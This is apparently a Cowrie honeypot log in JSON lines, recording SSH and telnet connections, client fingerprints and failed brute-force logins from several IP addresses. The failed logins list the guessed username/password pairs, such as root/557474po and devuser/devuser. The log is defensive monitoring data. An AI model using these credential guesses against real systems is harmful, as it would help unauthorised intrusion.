{"eventid":"cowrie.session.closed","duration":30.777767419815063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:11.282508Z","src_ip":"50.6.8.71","session":"7777542f6a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50538,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf391b9fc6f","protocol":"ssh","message":"New connection: 192.109.200.237:50538 (159.203.135.109:22) [session: 5bf391b9fc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:11.405326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:11.410883Z","src_ip":"192.109.200.237","session":"5bf391b9fc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:11.493167Z","src_ip":"192.109.200.237","session":"5bf391b9fc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58554,"dst_ip":"10.17.0.5","dst_port":23,"session":"85436faa0832","protocol":"telnet","message":"New connection: 50.6.8.71:58554 (10.17.0.5:23) [session: 85436faa0832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:16.772392Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58542,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fda22df63de","protocol":"telnet","message":"New connection: 50.6.8.71:58542 (10.17.0.5:23) [session: 7fda22df63de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:17.498745Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58558,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc9423c4aa3","protocol":"telnet","message":"New connection: 50.6.8.71:58558 (10.17.0.5:23) [session: 4fc9423c4aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:18.631180Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:19.405545Z","src_ip":"192.109.200.237","session":"5bf391b9fc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10260,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8cd96f343ae","protocol":"ssh","message":"New connection: 38.93.206.2:10260 (159.203.135.109:22) [session: f8cd96f343ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.177143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.181789Z","src_ip":"38.93.206.2","session":"f8cd96f343ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.235828Z","src_ip":"38.93.206.2","session":"f8cd96f343ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"557474po","message":"login attempt [root/557474po] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.395341Z","src_ip":"38.93.206.2","session":"f8cd96f343ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":50198,"dst_ip":"159.203.135.109","dst_port":22,"session":"55fbbe0bec78","protocol":"ssh","message":"New connection: 176.32.39.21:50198 (159.203.135.109:22) [session: 55fbbe0bec78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.681224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:20.746112Z","src_ip":"176.32.39.21","session":"55fbbe0bec78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:21.032868Z","src_ip":"176.32.39.21","session":"55fbbe0bec78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:21.448602Z","src_ip":"38.93.206.2","session":"f8cd96f343ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:21.655474Z","src_ip":"176.32.39.21","session":"55fbbe0bec78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91014862060547,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:22.779135Z","src_ip":"50.6.8.71","session":"bead33ee2d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:22.787642Z","src_ip":"176.32.39.21","session":"55fbbe0bec78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58568,"dst_ip":"10.17.0.5","dst_port":23,"session":"974b4302be24","protocol":"telnet","message":"New connection: 50.6.8.71:58568 (10.17.0.5:23) [session: 974b4302be24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:24.409899Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58582,"dst_ip":"10.17.0.5","dst_port":23,"session":"253a45c95f2d","protocol":"telnet","message":"New connection: 50.6.8.71:58582 (10.17.0.5:23) [session: 253a45c95f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:24.477715Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38826,"dst_ip":"10.17.0.5","dst_port":23,"session":"940a1a43a9f7","protocol":"telnet","message":"New connection: 50.6.8.71:38826 (10.17.0.5:23) [session: 940a1a43a9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:27.055401Z"}
{"eventid":"cowrie.session.closed","duration":34.15545177459717,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:31.710590Z","src_ip":"50.6.8.71","session":"9202a73d48ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39198,"dst_ip":"159.203.135.109","dst_port":22,"session":"152dab02a28d","protocol":"ssh","message":"New connection: 192.109.200.237:39198 (159.203.135.109:22) [session: 152dab02a28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:42.516612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:42.521761Z","src_ip":"192.109.200.237","session":"152dab02a28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:42.604346Z","src_ip":"192.109.200.237","session":"152dab02a28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:42.853096Z","src_ip":"192.109.200.237","session":"152dab02a28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:43.942748Z","src_ip":"192.109.200.237","session":"152dab02a28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45220,"dst_ip":"10.17.0.5","dst_port":23,"session":"7631de0a8f7e","protocol":"telnet","message":"New connection: 50.6.8.71:45220 (10.17.0.5:23) [session: 7631de0a8f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:45.690910Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39200,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb079bbf19cd","protocol":"ssh","message":"New connection: 192.109.200.237:39200 (159.203.135.109:22) [session: eb079bbf19cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:46.196118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:46.200280Z","src_ip":"192.109.200.237","session":"eb079bbf19cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:46.282372Z","src_ip":"192.109.200.237","session":"eb079bbf19cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:46.528994Z","src_ip":"192.109.200.237","session":"eb079bbf19cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:47.614263Z","src_ip":"192.109.200.237","session":"eb079bbf19cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37650,"dst_ip":"10.17.0.5","dst_port":23,"session":"55747e755479","protocol":"telnet","message":"New connection: 50.6.8.71:37650 (10.17.0.5:23) [session: 55747e755479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:49.087781Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39212,"dst_ip":"159.203.135.109","dst_port":22,"session":"380dd4a84875","protocol":"ssh","message":"New connection: 192.109.200.237:39212 (159.203.135.109:22) [session: 380dd4a84875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:49.553090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:49.557073Z","src_ip":"192.109.200.237","session":"380dd4a84875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:49.641327Z","src_ip":"192.109.200.237","session":"380dd4a84875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.91788411140442,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:49.690175Z","src_ip":"50.6.8.71","session":"85436faa0832","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:50.032067Z","src_ip":"192.109.200.237","session":"380dd4a84875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:51.116645Z","src_ip":"192.109.200.237","session":"380dd4a84875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83396577835083,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:52.464996Z","src_ip":"50.6.8.71","session":"4fc9423c4aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c690095aae5","protocol":"telnet","message":"New connection: 50.6.8.71:37658 (10.17.0.5:23) [session: 5c690095aae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:53.019190Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45910,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09776f9c2dd","protocol":"ssh","message":"New connection: 192.109.200.237:45910 (159.203.135.109:22) [session: f09776f9c2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:53.209279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:53.214682Z","src_ip":"192.109.200.237","session":"f09776f9c2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:53.296661Z","src_ip":"192.109.200.237","session":"f09776f9c2dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:53.543522Z","src_ip":"192.109.200.237","session":"f09776f9c2dd","protocol":"ssh"}
